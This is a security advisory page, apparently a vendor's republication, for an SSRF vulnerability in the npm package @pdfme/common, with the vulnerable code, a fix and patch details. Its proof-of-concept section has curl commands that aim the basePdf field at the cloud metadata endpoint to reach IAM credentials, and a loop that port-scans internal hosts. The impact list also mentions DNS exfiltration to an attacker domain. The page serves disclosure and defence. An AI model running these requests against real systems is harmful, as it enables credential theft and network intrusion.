GHSA-pgx6-7jcq-2qff — @pdfme/common
MEDIUMGHSA-pgx6-7jcq-2qff is a medium-severity (CVSS 6.8) Server-Side Request Forgery (SSRF) vulnerability in @pdfme/common. A fix is available for @pdfme/common — see the affected versions and patch details below.
PDFME has SSRF via Unvalidated URL Fetch in `getB64BasePdf` When `basePdf` Is Attacker-Controlled
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-pgx6-7jcq-2qff.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-pgx6-7jcq-2qff plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@pdfme/commonnpmDescription
Summary
The getB64BasePdf function in @pdfme/common fetches arbitrary URLs via fetch() without any validation when basePdf is a non-data-URI string and window is defined. An attacker who can control the basePdf field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.
Details
The vulnerability exists in packages/common/src/helper.ts:130-141. When getB64BasePdf receives a string that does not start with data:application/pdf;, and window is defined, it passes the string directly to fetch():
// packages/common/src/helper.ts:130-141
export const getB64BasePdf = async (
customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
if (
typeof customPdf === 'string' &&
!customPdf.startsWith('data:application/pdf;') &&
typeof window !== 'undefined'
) {
const response = await fetch(customPdf); // <-- No URL validation
const blob = await response.blob();
return blob2Base64Pdf(blob);
}
// ...
};
The Zod schema for basePdf in packages/common/src/schema.ts:133-135 accepts any string:
export const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);
export const BasePdf = z.union([CustomPdf, BlankPdf]);
The checkGenerateProps function at packages/common/src/helper.ts:279 only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.
This function is called from multiple entry points:
packages/generator/src/helper.ts:42— during PDF generationpackages/ui/src/hooks.ts:67— during UI renderingpackages/ui/src/helper.ts:292— during template processing
The typeof window !== 'undefined' guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where window is polyfilled but fetch has full network access without CORS restrictions.
PoC
1. Setup a vulnerable application
// server.js — Next.js API route or Express handler using pdfme
import { generate } from '@pdfme/generator';
export async function POST(req) {
const { template, inputs } = await req.json();
// Application accepts user-provided templates
const pdf = await generate({ template, inputs, plugins: {} });
return new Response(pdf);
}
2. Probe internal services via SSRF
# Attacker sends a template with basePdf pointing to an internal service
curl -X POST http://target-app.com/api/generate-pdf \
-H 'Content-Type: application/json' \
-d '{
"template": {
"basePdf": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"schemas": [[]]
},
"inputs": [{}]
}'
3. Port scanning internal network
# Scan internal hosts by observing response timing differences
for port in 80 443 3306 5432 6379 8080; do
curl -s -o /dev/null -w "%{time_total}" -X POST http://target-app.com/api/generate-pdf \
-H 'Content-Type: application/json' \
-d "{
\"template\": {
\"basePdf\": \"http://10.0.0.1:${port}/\",
\"schemas\": [[]]
},
\"inputs\": [{}]
}"
echo " - port $port"
done
4. Exfiltrate cloud metadata (AWS example)
# In SSR context, fetch reads the full response body and converts to base64
curl -X POST http://target-app.com/api/generate-pdf \
-H 'Content-Type: application/json' \
-d '{
"template": {
"basePdf": "http://169.254.169.254/latest/meta-data/",
"schemas": [[]]
},
"inputs": [{}]
}'
# The fetch will succeed; the response will fail PDF parsing,
# but error messages or timing differences leak information
Impact
- Cloud metadata exfiltration: In SSR deployments on AWS/GCP/Azure, attackers can reach instance metadata endpoints (
169.254.169.254) to steal IAM credentials, API tokens, and service account keys. - Internal network reconnaissance: Attackers can probe internal services, discover open ports, and map network topology by observing response timing and error differences.
- Internal service access: Requests to internal APIs (databases, caches, admin panels) that are not exposed to the internet but accessible from the server.
- Blind request forgery in browsers: Even with CORS restrictions limiting response reading, attackers can trigger state-changing requests to internal services (GET-based actions, webhook triggers).
- Data exfiltration via DNS: Attackers can use DNS-based exfiltration by crafting URLs like
http://<stolen-data>.attacker.comto leak information even when responses are not readable.
Recommended Fix
Add URL validation in getB64BasePdf before calling fetch(). At minimum, restrict to HTTPS and block private/reserved IP ranges:
// packages/common/src/helper.ts
const BLOCKED_HOSTNAME_PATTERNS = [
/^localhost$/i,
/^127\./,
/^10\./,
/^172\.(1[6-9]|2\d|3[01])\./,
/^192\.168\./,
/^169\.254\./,
/^0\./,
/^\[::1\]/,
/^\[fc/i,
/^\[fd/i,
/^\[fe80:/i,
];
function validatePdfUrl(urlString: string): void {
let parsed: URL;
try {
parsed = new URL(urlString);
} catch {
throw new Error(`Invalid basePdf URL: ${urlString}`);
}
if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`);
}
const hostname = parsed.hostname;
for (const pattern of BLOCKED_HOSTNAME_PATTERNS) {
if (pattern.test(hostname)) {
throw new Error(`basePdf URL must not point to private/reserved addresses`);
}
}
}
export const getB64BasePdf = async (
customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
if (
typeof customPdf === 'string' &&
!customPdf.startsWith('data:application/pdf;') &&
typeof window !== 'undefined'
) {
validatePdfUrl(customPdf); // <-- Add validation before fetch
const response = await fetch(customPdf);
const blob = await response.blob();
return blob2Base64Pdf(blob);
}
// ...
};
Additionally, consider documenting the security implications of passing user-controlled data as basePdf and providing an option for applications to supply their own URL validator or allowlist.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @pdfme/common | all versions | 5.5.10npm install @pdfme/common@5.5.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @pdfme/common, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @pdfme/common to 5.5.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pgx6-7jcq-2qff is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-pgx6-7jcq-2qff can be triaged on real exposure rather than presence alone.
Tailored to GHSA-pgx6-7jcq-2qff. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pgx6-7jcq-2qff in your dependencies?
O3 Security finds GHSA-pgx6-7jcq-2qff across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.